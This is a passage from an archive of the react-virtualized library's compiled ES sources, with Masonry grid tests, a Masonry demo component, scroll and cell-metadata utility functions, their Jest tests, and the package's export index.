        scrollTop: 51
      })));
      assertVisibleCells(rendered, '0,1,2,3,4,5,6,7,8');
      rendered = findDOMNode(render(getMarkup({
        autoHeight: true,
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner,
        scrollTop: 101
      })));
      assertVisibleCells(rendered, '0,2,3,4,5,6,7,8,9');
      rendered = findDOMNode(render(getMarkup({
        autoHeight: true,
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner,
        scrollTop: 1001
      })));
      assertVisibleCells(rendered, '27,29,30,31,32,33,34,35,36');
    });
    it('should set right instead of left in a cell styles for rtl row direction', function () {
      // Share instances between renders to avoid resetting state in ways we don't intend
      var cellMeasurerCache = createCellMeasurerCache();
      var cellPositioner = createCellPositioner(cellMeasurerCache);
      var rendered = findDOMNode(render(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner,
        rowDirection: 'rtl'
      })));
      Array.from(rendered.querySelectorAll('.cell')).map(function (node) {
        expect(node.style.right).toMatch(/px/);
      });
    });
    it('should consider scroll only of the container element and not of any ancestor element', function () {
      var cellMeasurerCache = createCellMeasurerCache();

      var renderScrollableCell = function renderScrollableCell(index) {
        return React.createElement("div", {
          style: {
            height: '50px',
            overflow: 'visible'
          },
          id: "scrollable-cell-".concat(index)
        }, React.createElement("div", {
          style: {
            height: '500px'
          }
        }, index));
      };

      var cellRenderer = createCellRenderer(cellMeasurerCache, renderScrollableCell);
      var rendered = findDOMNode(render(getMarkup({
        overscanByPixels: 0,
        cellMeasurerCache: cellMeasurerCache,
        cellRenderer: cellRenderer
      })));
      assertVisibleCells(rendered, '0,1,2,3,4,5');
      var cellEl = rendered.querySelector('#scrollable-cell-1');
      Simulate.scroll(cellEl, {
        target: {
          scrollTop: 100
        }
      });
      assertVisibleCells(rendered, '0,1,2,3,4,5');
    });
  });
  describe('recomputeCellPositions', function () {
    it('should refresh all cell positions', function () {
      // Share instances between renders to avoid resetting state in ways we don't intend
      var cellMeasurerCache = createCellMeasurerCache();
      var cellPositioner = jest.fn().mockImplementation(createCellPositioner(cellMeasurerCache));
      var rendered = findDOMNode(render(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner
      })));
      assertVisibleCells(rendered, '0,1,2,3,4,5,6,7,8');
      cellPositioner.mockImplementation(function (index) {
        return {
          left: 0,
          top: index * CELL_SIZE_MULTIPLIER
        };
      });
      var component = render(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner
      }));
      rendered = findDOMNode(component);
      assertVisibleCells(rendered, '0,1,2,3,4,5,6,7,8');
      component.recomputeCellPositions();
      assertVisibleCells(rendered, '0,1,2,3,4');
    });
    it('should not reset measurement cache', function () {
      var cellMeasurerCache = createCellMeasurerCache();
      var component = render(getMarkup({
        cellMeasurerCache: cellMeasurerCache
      }));
      var rendered = findDOMNode(component);
      simulateScroll(rendered, 101);
      expect(cellMeasurerCache.has(9)).toBe(true);
      simulateScroll(rendered, 0);
      component.recomputeCellPositions();

      for (var i = 0; i <= 9; i++) {
        expect(cellMeasurerCache.has(i)).toBe(true);
      }
    });
  });
  describe('isScrolling', function () {
    it('should be true for cellRenderer while scrolling is in progress', function () {
      var cellMeasurerCache = createCellMeasurerCache();
      var renderCallback = jest.fn().mockImplementation(function (index) {
        return index;
      });
      var cellRenderer = createCellRenderer(cellMeasurerCache, renderCallback);
      var rendered = findDOMNode(render(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellRenderer: cellRenderer
      })));
      renderCallback.mockClear();
      simulateScroll(rendered, 51);
      expect(renderCallback.mock.calls[0][1].isScrolling).toEqual(true);
    });
    it('should be reset after a small debounce when scrolling stops', function () {
      var cellMeasurerCache = createCellMeasurerCache();
      var renderCallback = jest.fn().mockImplementation(function (index) {
        return index;
      });
      var cellRenderer = createCellRenderer(cellMeasurerCache, renderCallback);
      var rendered = findDOMNode(render(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellRenderer: cellRenderer
      })));
      simulateScroll(rendered, 51);
      renderCallback.mockClear();
      setTimeout(function () {
        expect(renderCallback.mock.calls[0][1].isScrolling).toEqual(false);
      }, 0);
    });
  });
  describe('callbacks', function () {
    it('should call onCellsRendered when rendered cells change', function () {
      var onCellsRendered = jest.fn();
      var rendered = findDOMNode(render(getMarkup({
        onCellsRendered: onCellsRendered
      })));
      expect(onCellsRendered.mock.calls).toEqual([[{
        startIndex: 0,
        stopIndex: 8
      }]]);
      simulateScroll(rendered, 51);
      expect(onCellsRendered.mock.calls).toEqual([[{
        startIndex: 0,
        stopIndex: 8
      }]]);
      simulateScroll(rendered, 101);
      expect(onCellsRendered.mock.calls).toEqual([[{
        startIndex: 0,
        stopIndex: 8
      }], [{
        startIndex: 0,
        stopIndex: 9
      }]]);
    });
    it('should call onScroll when scroll position changes', function () {
      var onScroll = jest.fn();
      var rendered = findDOMNode(render(getMarkup({
        onScroll: onScroll
      })));
      expect(onScroll.mock.calls).toEqual([[{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 0
      }]]);
      simulateScroll(rendered, 51);
      expect(onScroll.mock.calls).toEqual([[{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 0
      }], [{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 51
      }]]);
      simulateScroll(rendered, 0);
      expect(onScroll.mock.calls).toEqual([[{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 0
      }], [{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 51
      }], [{
        clientHeight: 100,
        scrollHeight: 16900,
        scrollTop: 0
      }]]);
    });
  });
  describe('keyMapper', function () {
    it('should pass the correct key to rendered cells', function () {
      var keyMapper = jest.fn().mockImplementation(function (index) {
        return "key:".concat(index);
      });
      var cellRenderer = jest.fn().mockImplementation(function (_ref3) {
        var index = _ref3.index,
            key = _ref3.key,
            style = _ref3.style;
        return React.createElement("div", {
          key: key,
          style: style
        }, index);
      });
      findDOMNode(render(getMarkup({
        cellRenderer: cellRenderer,
        keyMapper: keyMapper
      })));
      expect(keyMapper).toHaveBeenCalled();
      expect(cellRenderer).toHaveBeenCalled();
      expect(cellRenderer.mock.calls[0][0].key).toEqual('key:0');
    });
  });
});es/Masonry/Masonry.example.js000064400000026201151677406000012232 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import { LabeledInput, InputRow } from '../demo/LabeledInput';
import { CellMeasurer, CellMeasurerCache } from '../CellMeasurer';
import AutoSizer from '../AutoSizer';
import WindowScroller from '../WindowScroller';
import createCellPositioner from './createCellPositioner';
import Masonry from './Masonry';
import styles from './Masonry.example.css';

var GridExample =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(GridExample, _React$PureComponent);

  function GridExample(props, context) {
    var _this;

    _classCallCheck(this, GridExample);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(GridExample).call(this, props, context));

    _defineProperty(_assertThisInitialized(_this), "_resetList", function () {
      var ROW_HEIGHTS = [25, 50, 75, 100];
      var list = _this.context.list;
      list.forEach(function (datum) {
        datum.size = ROW_HEIGHTS[Math.floor(Math.random() * ROW_HEIGHTS.length)];
      });

      _this._cache.clearAll();

      _this._resetCellPositioner();

      _this._masonry.clearCellPositions();
    });

    _this._columnCount = 0;
    _this._cache = new CellMeasurerCache({
      defaultHeight: 250,
      defaultWidth: 200,
      fixedWidth: true
    });
    _this.state = {
      columnWidth: 200,
      height: 300,
      gutterSize: 10,
      overscanByPixels: 0,
      windowScrollerEnabled: false
    };
    _this._cellRenderer = _this._cellRenderer.bind(_assertThisInitialized(_this));
    _this._onResize = _this._onResize.bind(_assertThisInitialized(_this));
    _this._renderAutoSizer = _this._renderAutoSizer.bind(_assertThisInitialized(_this));
    _this._renderMasonry = _this._renderMasonry.bind(_assertThisInitialized(_this));
    _this._setMasonryRef = _this._setMasonryRef.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(GridExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          columnWidth = _this$state.columnWidth,
          height = _this$state.height,
          gutterSize = _this$state.gutterSize,
          overscanByPixels = _this$state.overscanByPixels,
          windowScrollerEnabled = _this$state.windowScrollerEnabled;
      var child;

      if (windowScrollerEnabled) {
        child = React.createElement(WindowScroller, {
          overscanByPixels: overscanByPixels
        }, this._renderAutoSizer);
      } else {
        child = this._renderAutoSizer({
          height: height
        });
      }

      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "Masonry",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/Masonry/Masonry.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/Masonry.md"
      }), React.createElement(ContentBoxParagraph, null, "Optimized for masonry layouts. Cells are j.i.t. measured and layed out as a user scrolls. Sizes are cached so that resize/reflow is fast and does not require re-measuring."), React.createElement(ContentBoxParagraph, null, React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Use WindowScroller?",
        checked: windowScrollerEnabled,
        className: styles.checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          // HACK Because this demo switches between using WindowScroller and not,
          // It's easier to clear the cache when toggling modes to avoid a partially stale state.
          _this2._cache.clearAll();

          _this2.setState({
            windowScrollerEnabled: event.target.checked
          });
        }
      }), "Use ", React.createElement("code", null, "WindowScroller"), "?"), React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("button", {
        onClick: this._resetList
      }, "Reset List Data"))), React.createElement(InputRow, null, React.createElement(LabeledInput, {
        label: "Height",
        name: "height",
        onChange: function onChange(event) {
          _this2.setState({
            height: parseInt(event.target.value, 10) || 300
          });
        },
        value: height
      }), React.createElement(LabeledInput, {
        label: "Column Width",
        name: "columnWidth",
        onChange: function onChange(event) {
          _this2._cache.clearAll();

          _this2.setState({
            columnWidth: parseInt(event.target.value, 10) || 200
          }, function () {
            _this2._calculateColumnCount();

            _this2._resetCellPositioner();

            _this2._masonry.clearCellPositions();
          });
        },
        value: columnWidth
      }), React.createElement(LabeledInput, {
        label: "Gutter Size",
        name: "gutterSize",
        onChange: function onChange(event) {
          _this2.setState({
            gutterSize: parseInt(event.target.value, 10) || 10
          }, function () {
            _this2._calculateColumnCount();

            _this2._resetCellPositioner();

            _this2._masonry.recomputeCellPositions();
          });
        },
        value: gutterSize
      }), React.createElement(LabeledInput, {
        label: "Overscan (px)",
        name: "overscanByPixels",
        onChange: function onChange(event) {
          _this2.setState({
            overscanByPixels: parseInt(event.target.value, 10) || 0
          });
        },
        value: overscanByPixels
      })), child);
    }
  }, {
    key: "_calculateColumnCount",
    value: function _calculateColumnCount() {
      var _this$state2 = this.state,
          columnWidth = _this$state2.columnWidth,
          gutterSize = _this$state2.gutterSize;
      this._columnCount = Math.floor(this._width / (columnWidth + gutterSize));
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref) {
      var index = _ref.index,
          key = _ref.key,
          parent = _ref.parent,
          style = _ref.style;
      var list = this.context.list;
      var columnWidth = this.state.columnWidth;
      var datum = list.get(index % list.size);
      return React.createElement(CellMeasurer, {
        cache: this._cache,
        index: index,
        key: key,
        parent: parent
      }, React.createElement("div", {
        className: styles.Cell,
        style: _objectSpread({}, style, {
          width: columnWidth
        })
      }, React.createElement("div", {
        style: {
          backgroundColor: datum.color,
          borderRadius: '0.5rem',
          height: datum.size * 3,
          marginBottom: '0.5rem',
          width: '100%',
          fontSize: 20,
          color: 'white',
          display: 'flex',
          alignItems: 'center',
          justifyContent: 'center'
        }
      }, index), datum.random));
    }
  }, {
    key: "_initCellPositioner",
    value: function _initCellPositioner() {
      if (typeof this._cellPositioner === 'undefined') {
        var _this$state3 = this.state,
            columnWidth = _this$state3.columnWidth,
            gutterSize = _this$state3.gutterSize;
        this._cellPositioner = createCellPositioner({
          cellMeasurerCache: this._cache,
          columnCount: this._columnCount,
          columnWidth: columnWidth,
          spacer: gutterSize
        });
      }
    }
  }, {
    key: "_onResize",
    value: function _onResize(_ref2) {
      var width = _ref2.width;
      this._width = width;

      this._calculateColumnCount();

      this._resetCellPositioner();

      this._masonry.recomputeCellPositions();
    }
  }, {
    key: "_renderAutoSizer",
    value: function _renderAutoSizer(_ref3) {
      var height = _ref3.height,
          scrollTop = _ref3.scrollTop;
      this._height = height;
      this._scrollTop = scrollTop;
      var overscanByPixels = this.state.overscanByPixels;
      return React.createElement(AutoSizer, {
        disableHeight: true,
        height: height,
        onResize: this._onResize,
        overscanByPixels: overscanByPixels,
        scrollTop: this._scrollTop
      }, this._renderMasonry);
    }
  }, {
    key: "_renderMasonry",
    value: function _renderMasonry(_ref4) {
      var width = _ref4.width;
      this._width = width;

      this._calculateColumnCount();

      this._initCellPositioner();

      var _this$state4 = this.state,
          height = _this$state4.height,
          overscanByPixels = _this$state4.overscanByPixels,
          windowScrollerEnabled = _this$state4.windowScrollerEnabled;
      return React.createElement(Masonry, {
        autoHeight: windowScrollerEnabled,
        cellCount: 1000,
        cellMeasurerCache: this._cache,
        cellPositioner: this._cellPositioner,
        cellRenderer: this._cellRenderer,
        height: windowScrollerEnabled ? this._height : height,
        overscanByPixels: overscanByPixels,
        ref: this._setMasonryRef,
        scrollTop: this._scrollTop,
        width: width
      });
    } // This is a bit of a hack to simulate newly loaded cells

  }, {
    key: "_resetCellPositioner",
    value: function _resetCellPositioner() {
      var _this$state5 = this.state,
          columnWidth = _this$state5.columnWidth,
          gutterSize = _this$state5.gutterSize;

      this._cellPositioner.reset({
        columnCount: this._columnCount,
        columnWidth: columnWidth,
        spacer: gutterSize
      });
    }
  }, {
    key: "_setMasonryRef",
    value: function _setMasonryRef(ref) {
      this._masonry = ref;
    }
  }]);

  return GridExample;
}(React.PureComponent);

_defineProperty(GridExample, "contextTypes", {
  list: PropTypes.instanceOf(Immutable.List).isRequired
});

export { GridExample as default };es/utils/TestHelper.js000064400000001004151677406000010731 0ustar00import initCellMetadata from './initCellMetadata'; // Default cell sizes and offsets for use in below tests

export function getCellMetadata() {
  var cellSizes = [10, // 0: 0..0 (min)
  20, // 1: 0..10
  15, // 2: 0..30
  10, // 3: 5..45
  15, // 4: 20..55
  30, // 5: 50..70
  20, // 6: 70..100
  10, // 7: 80..110
  30 //  8: 110..110 (max)
  ];
  return initCellMetadata({
    cellCount: cellSizes.length,
    size: function size(_ref) {
      var index = _ref.index;
      return cellSizes[index];
    }
  });
}es/utils/createCallbackMemoizer.jest.js000064400000013535151677406000014222 0ustar00import createCallbackMemoizer from './createCallbackMemoizer';
describe('createCallbackMemoizer', function () {
  function OnRowsRendered() {
    var _numCalls = 0;

    var _overscanStartIndex;

    var _overscanStopIndex;

    var _startIndex;

    var _stopIndex;

    return {
      numCalls: function numCalls() {
        return _numCalls;
      },
      overscanStartIndex: function overscanStartIndex() {
        return _overscanStartIndex;
      },
      overscanStopIndex: function overscanStopIndex() {
        return _overscanStopIndex;
      },
      startIndex: function startIndex() {
        return _startIndex;
      },
      stopIndex: function stopIndex() {
        return _stopIndex;
      },
      update: function update(params) {
        _overscanStartIndex = params.overscanStartIndex;
        _overscanStopIndex = params.overscanStopIndex;
        _startIndex = params.startIndex;
        _stopIndex = params.stopIndex;
        _numCalls++;
      }
    };
  }

  it('should not call onRowsRendered if startIndex or stopIndex are invalid', function () {
    var util = new OnRowsRendered();
    var helper = createCallbackMemoizer();
    helper({
      callback: util.update,
      indices: {
        startIndex: 0,
        stopIndex: undefined
      }
    });
    expect(util.numCalls()).toEqual(0);
    helper({
      callback: util.update,
      indices: {
        startIndex: undefined,
        stopIndex: 0
      }
    });
    expect(util.numCalls()).toEqual(0);
  });
  it('should call onRowsRendered if startIndex and stopIndex are valid', function () {
    var util = new OnRowsRendered();
    var helper = createCallbackMemoizer();
    helper({
      callback: util.update,
      indices: {
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
    expect(util.startIndex()).toEqual(0);
    expect(util.stopIndex()).toEqual(1);
  });
  it('should call onRowsRendered if startIndex and stopIndex are invalid but :requireAllKeys is false', function () {
    var util = new OnRowsRendered();
    var helper = createCallbackMemoizer(false);
    helper({
      callback: util.update,
      indices: {
        startIndex: undefined,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
    expect(util.startIndex()).toEqual(undefined);
    expect(util.stopIndex()).toEqual(1);
  });
  it('should not call onRowsRendered if startIndex or stopIndex have not changed', function () {
    var util = new OnRowsRendered();
    var helper = createCallbackMemoizer();
    helper({
      callback: util.update,
      indices: {
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
    expect(util.startIndex()).toEqual(0);
    expect(util.stopIndex()).toEqual(1);
    helper({
      callback: util.update,
      indices: {
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
  });
  it('should not call onRowsRendered if startIndex or stopIndex have changed', function () {
    var util = new OnRowsRendered();
    var helper = createCallbackMemoizer();
    helper({
      callback: util.update,
      indices: {
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
    expect(util.startIndex()).toEqual(0);
    expect(util.stopIndex()).toEqual(1);
    helper({
      callback: util.update,
      indices: {
        startIndex: 1,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(2);
    expect(util.startIndex()).toEqual(1);
    expect(util.stopIndex()).toEqual(1);
    helper({
      callback: util.update,
      indices: {
        startIndex: 1,
        stopIndex: 2
      }
    });
    expect(util.numCalls()).toEqual(3);
    expect(util.startIndex()).toEqual(1);
    expect(util.stopIndex()).toEqual(2);
  });
  it('should call onRowsRendered if :overscanCellsCount changes', function () {
    var util = new OnRowsRendered();
    var helper = createCallbackMemoizer();
    helper({
      callback: util.update,
      indices: {
        overscanStartIndex: 0,
        overscanStopIndex: 2,
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(1);
    expect(util.startIndex()).toEqual(0);
    expect(util.stopIndex()).toEqual(1);
    expect(util.overscanStartIndex()).toEqual(0);
    expect(util.overscanStopIndex()).toEqual(2);
    helper({
      callback: util.update,
      indices: {
        overscanStartIndex: 0,
        overscanStopIndex: 3,
        startIndex: 0,
        stopIndex: 1
      }
    });
    expect(util.numCalls()).toEqual(2);
    expect(util.startIndex()).toEqual(0);
    expect(util.stopIndex()).toEqual(1);
    expect(util.overscanStartIndex()).toEqual(0);
    expect(util.overscanStopIndex()).toEqual(3);
  });
  it('should support an array of indices', function () {
    var numCalls = 0;
    var indices;

    var callback = function callback(params) {
      indices = params;
      numCalls++;
    };

    var helper = createCallbackMemoizer();
    helper({
      callback: callback,
      indices: [0, 1, 2]
    });
    expect(numCalls).toEqual(1);
    expect(indices).toEqual([0, 1, 2]);
    helper({
      callback: callback,
      indices: [0, 1]
    });
    expect(numCalls).toEqual(2);
    expect(indices).toEqual([0, 1]);
  });
  it('should support an attribute containing an array of indices', function () {
    var numCalls = 0;
    var indices;

    var callback = function callback(params) {
      indices = params.indices;
      numCalls++;
    };

    var helper = createCallbackMemoizer();
    helper({
      callback: callback,
      indices: {
        indices: [0, 1, 2]
      }
    });
    expect(numCalls).toEqual(1);
    expect(indices).toEqual([0, 1, 2]);
    helper({
      callback: callback,
      indices: {
        indices: [0, 1]
      }
    });
    expect(numCalls).toEqual(2);
    expect(indices).toEqual([0, 1]);
  });
});es/utils/requestAnimationTimeout.js000064400000002137151677406000013561 0ustar00import { caf, raf } from './animationFrame';
var bpfrpt_proptype_AnimationTimeoutId = process.env.NODE_ENV === 'production' ? null : {
  "id": PropTypes.number.isRequired
};
export var cancelAnimationTimeout = function cancelAnimationTimeout(frame) {
  return caf(frame.id);
};
/**
 * Recursively calls requestAnimationFrame until a specified delay has been met or exceeded.
 * When the delay time has been reached the function you're timing out will be called.
 *
 * Credit: Joe Lambert (https://gist.github.com/joelambert/1002116#file-requesttimeout-js)
 */

export var requestAnimationTimeout = function requestAnimationTimeout(callback, delay) {
  var start; // wait for end of processing current event handler, because event handler may be long

  Promise.resolve().then(function () {
    start = Date.now();
  });

  var timeout = function timeout() {
    if (Date.now() - start >= delay) {
      callback.call();
    } else {
      frame.id = raf(timeout);
    }
  };

  var frame = {
    id: raf(timeout)
  };
  return frame;
};
import PropTypes from "prop-types";
export { bpfrpt_proptype_AnimationTimeoutId };es/utils/createCallbackMemoizer.js000064400000001744151677406000013255 0ustar00/**
 * Helper utility that updates the specified callback whenever any of the specified indices have changed.
 */
export default function createCallbackMemoizer() {
  var requireAllKeys = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true;
  var cachedIndices = {};
  return function (_ref) {
    var callback = _ref.callback,
        indices = _ref.indices;
    var keys = Object.keys(indices);
    var allInitialized = !requireAllKeys || keys.every(function (key) {
      var value = indices[key];
      return Array.isArray(value) ? value.length > 0 : value >= 0;
    });
    var indexChanged = keys.length !== Object.keys(cachedIndices).length || keys.some(function (key) {
      var cachedValue = cachedIndices[key];
      var value = indices[key];
      return Array.isArray(value) ? cachedValue.join(',') !== value.join(',') : cachedValue !== value;
    });
    cachedIndices = indices;

    if (allInitialized && indexChanged) {
      callback(indices);
    }
  };
}es/utils/initCellMetadata.js000064400000001713151677406000012065 0ustar00/**
 * Initializes metadata for an axis and its cells.
 * This data is used to determine which cells are visible given a container size and scroll position.
 *
 * @param cellCount Total number of cells.
 * @param size Either a fixed size or a function that returns the size for a given given an index.
 * @return Object mapping cell index to cell metadata (size, offset)
 */
export default function initCellMetadata(_ref) {
  var cellCount = _ref.cellCount,
      size = _ref.size;
  var sizeGetter = typeof size === 'function' ? size : function () {
    return size;
  };
  var cellMetadata = [];
  var offset = 0;

  for (var i = 0; i < cellCount; i++) {
    var _size = sizeGetter({
      index: i
    });

    if (_size == null || isNaN(_size)) {
      throw Error("Invalid size returned for cell ".concat(i, " of value ").concat(_size));
    }

    cellMetadata[i] = {
      size: _size,
      offset: offset
    };
    offset += _size;
  }

  return cellMetadata;
}es/utils/animationFrame.js000064400000001446151677406000011616 0ustar00// Properly handle server-side rendering.
var win;

if (typeof window !== 'undefined') {
  win = window;
} else if (typeof self !== 'undefined') {
  win = self;
} else {
  win = {};
} // requestAnimationFrame() shim by Paul Irish
// http://paulirish.com/2011/requestanimationframe-for-smart-animating/


var request = win.requestAnimationFrame || win.webkitRequestAnimationFrame || win.mozRequestAnimationFrame || win.oRequestAnimationFrame || win.msRequestAnimationFrame || function (callback) {
  return win.setTimeout(callback, 1000 / 60);
};

var cancel = win.cancelAnimationFrame || win.webkitCancelAnimationFrame || win.mozCancelAnimationFrame || win.oCancelAnimationFrame || win.msCancelAnimationFrame || function (id) {
  win.clearTimeout(id);
};

export var raf = request;
export var caf = cancel;es/utils/getUpdatedOffsetForIndex.jest.js000064400000003715151677406000014525 0ustar00import getUpdatedOffsetForIndex from './getUpdatedOffsetForIndex';
import { getCellMetadata } from './TestHelper';
describe('getUpdatedOffsetForIndex', function () {
  function testHelper(targetIndex, currentOffset) {
    var cellMetadata = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : getCellMetadata();
    return getUpdatedOffsetForIndex({
      cellOffset: cellMetadata[targetIndex].offset,
      cellSize: cellMetadata[targetIndex].size,
      containerSize: 50,
      currentOffset: currentOffset
    });
  }

  it('should scroll to the beginning', function () {
    expect(testHelper(0, 100)).toEqual(0);
  });
  it('should scroll forward to the middle', function () {
    expect(testHelper(4, 0)).toEqual(20);
  });
  it('should scroll backward to the middle', function () {
    expect(testHelper(2, 100)).toEqual(30);
  });
  it('should not scroll if an item is already visible', function () {
    expect(testHelper(2, 20)).toEqual(20);
  });
  it('should scroll to the end', function () {
    expect(testHelper(8, 0)).toEqual(110);
  });
  it('should honor specified :align values', function () {
    expect(getUpdatedOffsetForIndex({
      align: 'auto',
      cellOffset: 50,
      cellSize: 10,
      containerSize: 50,
      currentOffset: 0
    })).toEqual(10);
    expect(getUpdatedOffsetForIndex({
      align: 'start',
      cellOffset: 50,
      cellSize: 10,
      containerSize: 50,
      currentOffset: 0
    })).toEqual(50);
    expect(getUpdatedOffsetForIndex({
      align: 'auto',
      cellOffset: 50,
      cellSize: 10,
      containerSize: 50,
      currentOffset: 100
    })).toEqual(50);
    expect(getUpdatedOffsetForIndex({
      align: 'end',
      cellOffset: 50,
      cellSize: 10,
      containerSize: 50,
      currentOffset: 100
    })).toEqual(10);
    expect(getUpdatedOffsetForIndex({
      align: 'center',
      cellOffset: 50,
      cellSize: 10,
      containerSize: 50,
      currentOffset: 100
    })).toEqual(30);
  });
});es/utils/getUpdatedOffsetForIndex.js000064400000002507151677406000013557 0ustar00/**
 * Determines a new offset that ensures a certain cell is visible, given the current offset.
 * If the cell is already visible then the current offset will be returned.
 * If the current offset is too great or small, it will be adjusted just enough to ensure the specified index is visible.
 *
 * @param align Desired alignment within container; one of "auto" (default), "start", or "end"
 * @param cellOffset Offset (x or y) position for cell
 * @param cellSize Size (width or height) of cell
 * @param containerSize Total size (width or height) of the container
 * @param currentOffset Container's current (x or y) offset
 * @return Offset to use to ensure the specified cell is visible
 */
export default function getUpdatedOffsetForIndex(_ref) {
  var _ref$align = _ref.align,
      align = _ref$align === void 0 ? 'auto' : _ref$align,
      cellOffset = _ref.cellOffset,
      cellSize = _ref.cellSize,
      containerSize = _ref.containerSize,
      currentOffset = _ref.currentOffset;
  var maxOffset = cellOffset;
  var minOffset = maxOffset - containerSize + cellSize;

  switch (align) {
    case 'start':
      return maxOffset;

    case 'end':
      return minOffset;

    case 'center':
      return maxOffset - (containerSize - cellSize) / 2;

    default:
      return Math.max(minOffset, Math.min(maxOffset, currentOffset));
  }
}es/index.js000064400000002032151677406000006623 0ustar00export { ArrowKeyStepper } from './ArrowKeyStepper';
export { AutoSizer } from './AutoSizer';
export { CellMeasurer, CellMeasurerCache } from './CellMeasurer';
export { Collection } from './Collection';
export { ColumnSizer } from './ColumnSizer';
export { accessibilityOverscanIndicesGetter, defaultCellRangeRenderer, defaultOverscanIndicesGetter, Grid } from './Grid';
export { InfiniteLoader } from './InfiniteLoader';
export { List } from './List';
export { createCellPositioner as createMasonryCellPositioner, Masonry } from './Masonry';
export { MultiGrid } from './MultiGrid';
export { ScrollSync } from './ScrollSync';
export { createMultiSort as createTableMultiSort, defaultCellDataGetter as defaultTableCellDataGetter, defaultCellRenderer as defaultTableCellRenderer, defaultHeaderRenderer as defaultTableHeaderRenderer, defaultHeaderRowRenderer as defaultTableHeaderRowRenderer, defaultRowRenderer as defaultTableRowRenderer, Table, Column, SortDirection, SortIndicator } from './Table';
export { WindowScroller } from './WindowScroller';es/Table/createMultiSort.jest.js000064400000015020151677406000012636 0ustar00import createMultiSort from './createMultiSort';
describe('createMultiSort', function () {
  function simulate(sort, dataKey) {
    var eventModifier = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : '';
    var defaultSortDirection = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 'ASC';
    sort({
      defaultSortDirection: defaultSortDirection,
      event: {
        ctrlKey: eventModifier === 'control',
        metaKey: eventModifier === 'meta',
        shiftKey: eventModifier === 'shift'
      },
      sortBy: dataKey
    });
  }

  it('errors if the user did not specify a sort callback', function () {
    expect(createMultiSort).toThrow();
  });
  it('sets the correct default values', function () {
    var multiSort = createMultiSort(jest.fn(), {
      defaultSortBy: ['a', 'b'],
      defaultSortDirection: {
        a: 'ASC',
        b: 'DESC'
      }
    });
    expect(multiSort.sortBy).toEqual(['a', 'b']);
    expect(multiSort.sortDirection.a).toBe('ASC');
    expect(multiSort.sortDirection.b).toBe('DESC');
  });
  it('sets the correct default sparse values', function () {
    var multiSort = createMultiSort(jest.fn(), {
      defaultSortBy: ['a', 'b']
    });
    expect(multiSort.sortBy).toEqual(['a', 'b']);
    expect(multiSort.sortDirection.a).toBe('ASC');
    expect(multiSort.sortDirection.b).toBe('ASC');
  });
  describe('on click', function () {
    it('sets the correct default value for a field', function () {
      var multiSort = createMultiSort(jest.fn());
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      simulate(multiSort.sort, 'b', '', 'DESC');
      expect(multiSort.sortBy).toEqual(['b']);
      expect(multiSort.sortDirection.b).toBe('DESC');
    });
    it('toggles a field value', function () {
      var multiSort = createMultiSort(jest.fn());
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
